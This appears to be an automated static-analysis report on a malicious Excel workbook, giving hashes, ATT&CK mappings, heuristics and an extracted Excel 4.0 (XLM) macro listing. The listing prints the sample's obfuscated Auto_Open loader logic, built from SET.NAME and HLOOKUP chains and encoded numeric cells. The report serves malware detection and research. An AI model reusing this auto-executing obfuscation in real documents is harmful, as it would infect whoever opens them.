Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5232a03c4f7bd1fd…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:39:50 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 8806660943cf75a967016f9fe0c723ad SHA-1: 4edf3e867ffe231bd2eeb075a3b3e84a09b9d6d3 SHA-256: 5232a03c4f7bd1fdea115a70a3320572c5933c3be73721223ef53d2c42d48fde
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening. The presence of dangerous formula APIs in the Auto_Open macro indicates an intent to run arbitrary commands. This suggests the macro is designed to download and execute a second-stage payload, a common attack pattern for this type of threat.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6769 bytes
SHA-256: 98fb1423a486a4edad033a5fea4dfef8522b2caea29c1a5a5a74d7ccbabb4dbb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ptcgPXsST
' 0018     20 LABEL : Cell Value, String Constant - antPh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B143 
' 0018     25 LABEL : Cell Value, String Constant - btzSFhElVT len=0 
' 0018     21 LABEL : Cell Value, String Constant - DPVHna len=0 
' 0018     25 LABEL : Cell Value, String Constant - EKexVWcyDR len=0 
' 0018     20 LABEL : Cell Value, String Constant - ikNYz len=0 
' 0018     23 LABEL : Cell Value, String Constant - iZhrqfyX len=0 
' 0018     27 LABEL : Cell Value, String Constant - JaXmVjhuBDqg len=0 
' 0018     21 LABEL : Cell Value, String Constant - jJMrFt len=0 
' 0018     24 LABEL : Cell Value, String Constant - KGdiExIaa len=0 
' 0018     20 LABEL : Cell Value, String Constant - KNbdH len=0 
' 0018     21 LABEL : Cell Value, String Constant - noBsIt len=0 
' 0018     22 LABEL : Cell Value, String Constant - nswkXjI len=0 
' 0018     22 LABEL : Cell Value, String Constant - PjFGQDD len=0 
' 0018     25 LABEL : Cell Value, String Constant - PqwBHlsfrw len=0 
' 0018     26 LABEL : Cell Value, String Constant - PSyDwkzunXk len=0 
' 0018     23 LABEL : Cell Value, String Constant - qQqOnYMq len=0 
' 0018     26 LABEL : Cell Value, String Constant - sOxTBEtETOt len=0 
' 0018     24 LABEL : Cell Value, String Constant - SuepPOfUl len=0 
' 0018     23 LABEL : Cell Value, String Constant - VUwXpdZx len=0 
' 0018     26 LABEL : Cell Value, String Constant - xEesBwdSbpf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ptcgPXsST,B59,"SET.NAME("qQqOnYMq",0+VALUE("0"))",""
'  ptcgPXsST,B62,"SET.NAME("antPh",qQqOnYMq)",""
'  ptcgPXsST,B64,"SET.NAME("KNbdH",qQqOnYMq)",""
'  ptcgPXsST,B69,"SET.NAME("nswkXjI",COUNTA(PSyDwkzunXk))",""
'  ptcgPXsST,B71,"SET.NAME("ikNYz",COUNTA(btzSFhElVT))",""
'  ptcgPXsST,B73,[],""
'  ptcgPXsST,T74,"",-7.00000000000000000000
'  ptcgPXsST,B75,"SET.NAME("noBsIt","")",""
'  ptcgPXsST,T75,"",-584.00000000000000000000
'  ptcgPXsST,T76,"",597.00000000000000000000
'  ptcgPXsST,T77,"",24.00000000000000000000
'  ptcgPXsST,B78,"antPh",""
'  ptcgPXsST,T78,"",-33.00000000000000000000
'  ptcgPXsST,T79,"",697.00000000000000000000
'  ptcgPXsST,B82,"SET.NAME("KGdiExIaa",HLOOKUP("*",PSyDwkzunXk,antPh,FALSE))",""
'  ptcgPXsST,B86,"VUwXpdZx",""
'  ptcgPXsST,B91,"SET.NAME("PjFGQDD",qQqOnYMq)",""
'  ptcgPXsST,B95,[],""
'  ptcgPXsST,B100,"PjFGQDD",""
'  ptcgPXsST,B104,"DPVHna",""
'  ptcgPXsST,B107,"iZhrqfyX",""
'  ptcgPXsST,B110,"PqwBHlsfrw",""
'  ptcgPXsST,B114,"SET.NAME("jJMrFt",VALUE(HLOOKUP("*",btzSFhElVT,PqwBHlsfrw,FALSE)))",""
'  ptcgPXsST,B118,"sOxTBEtETOt",""
'  ptcgPXsST,B120,"noBsIt",""
'  ptcgPXsST,B124,"KNbdH",""
'  ptcgPXsST,B126,NEXT(),""
'  ptcgPXsST,B128,"EKexVWcyDR",""
'  ptcgPXsST,B130,[],""
'  ptcgPXsST,B132,"SuepPOfUl",""
'  ptcgPXsST,B136,NEXT(),""
'  ptcgPXsST,B138,RETURN(),""
'  ptcgPXsST,B170,"SET.NAME("JaXmVjhuBDqg",B59)",""
'  ptcgPXsST,B174,"PSyDwkzunXk",""
'  ptcgPXsST,B179,"SET.NAME("btzSFhElVT",R86C14)",""
'  ptcgPXsST,B183,"SET.NAME("SuepPOfUl",190)",""
'  ptcgPXsST,B185,"SET.NAME("xEesBwdSbpf",2)",""
'  ptcgPXsST,B189,JaXmVjhuBDqg(),""
'  ptcgPXsST,B190,HALT(),""

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